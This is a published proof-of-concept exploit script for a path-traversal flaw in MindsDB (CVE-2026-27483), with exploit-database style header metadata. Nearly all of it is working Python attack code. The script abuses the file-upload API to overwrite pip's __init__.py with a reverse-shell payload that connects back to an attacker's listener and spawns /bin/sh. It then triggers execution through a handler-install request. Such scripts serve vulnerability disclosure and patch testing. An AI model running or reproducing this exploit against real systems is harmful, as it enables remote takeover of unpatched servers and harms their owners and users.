MindsDB 25.9.1.1 – Path Traversal
# Exploit Title: MindsDB 25.9.1.1 - Path Traversal # Date: 06-03-2026 # Exploit Author: Lohitya Pushkar (thewhiteh4t) # Vendor Homepage: https://mindsdb.com/ # Software Link: https://github.com/mindsdb/mindsdb # Version: < 25.9.1.1 # Tested on: Arch Linux # CVE : CVE-2026-27483 # Original Advisory: https://github.com/mindsdb/mindsdb/security/advisories/GHSA-4894-xqv6-vrfq # Vulnerability Discovery: XlabAITeam import argparse import random import re import string import sys import requests from packaging.version import Version PIP_PATH = "../../../../../../venv/lib/python3.10/site-packages/pip/__init__.py" HANDLER = "anomaly_detection" # query /api/handlers/ -> not installed handlers BANNER = """ ------------------------------------- --- CVE-2026-27483 ------------------ --- MindsDB Path Traversal to RCE --- ------------------------------------- [>] Found By : XlabAITeam [>] PoC By : Lohitya Pushkar (thewhiteh4t) """ try: parser = argparse.ArgumentParser() parser.add_argument("-rh", default="127.0.0.1", help="Target host") parser.add_argument("-rp", default="47334", help="Target port") parser.add_argument("-lh", help="Listener host") parser.add_argument("-lp", default="4444", help="Listener port") parser.add_argument("-u", help="Username") parser.add_argument("-p", help="Password") args = parser.parse_args() rhost = args.rh rport = args.rp lhost = args.lh lport = args.lp user = args.u pswd = args.p base_url = f"http://{rhost}:{rport}" print(BANNER) print(f"[>] Target : {base_url}") print(f"[>] LHOST : {lhost}") print(f"[>] LPORT : {lport}\n") def login(username, password): r = requests.post( f"{base_url}/api/login", json={"username": username, "password": password} ) if r.status_code == 200 and "token" in r.text: token = r.json().get("token") print("[+] Login successful!") return token print("[!] Login failed : ", r.status_code) print(f"---\n{r.text}\n---") return None print("[*] Checking status...\n") r = requests.get(f"{base_url}/api/status") if r.status_code != 200: print("[-] Status code :", r.status_code) print(f"---\n{r.text}\n---") sys.exit() status_json = r.json() ver = status_json["mindsdb_version"] auth = status_json["auth"]["http_auth_enabled"] print(f"[*] MindsDB Version : {ver}") auth_headers = {} ver_clean = Version(re.sub(r"[a-zA-Z].*$", "", ver)) if ver_clean < Version("25.4.1.0"): print( f"[!] Version {ver} < 25.4.1.0 — may use Python 3.8/3.9, PoC targets 3.10, manually edit PIP_PATH and try again." ) sys.exit(0) if ver_clean >= Version("25.9.1.1"): print(f"[!] Version {ver} is patched (>= 25.9.1.1). Aborting.") sys.exit(0) if auth: if not user or not pswd: print("[!] Auth is enabled. Provide --username and --password.") sys.exit() token = login(user, pswd) if not token: sys.exit() auth_headers = {"Authorization": f"Bearer {token}"} else: print("[*] Auth disabled — proceeding unauthenticated") shell_pl = f'''#!/usr/bin/env python3 import os,pty,socket s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("{lhost.strip()}",{lport.strip()})) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) pty.spawn("/bin/sh") '''.replace("\n", "\r\n") fname = "".join(random.choices(string.ascii_lowercase, k=8)) payload = {"name": fname, "source": fname, "source_type": "file"} infile = {"file": (PIP_PATH, shell_pl, "text/plain")} print("[*] Uploading payload :", fname) pr = requests.put( f"{base_url}/api/files/{fname}", data=payload, files=infile, headers=auth_headers, ) if pr.status_code == 400: print("[+] Payload uploaded!") else: print("[-] Payload upload request :", pr.status_code) print(f"---\n{pr.text}\n---") sys.exit() print("[*] Triggering payload...") r = requests.post( f"{base_url}/api/handlers/{HANDLER}/install", json={}, headers=auth_headers ) except Exception as exc: print("[-] Exception :", exc) except KeyboardInterrupt: sys.exit() |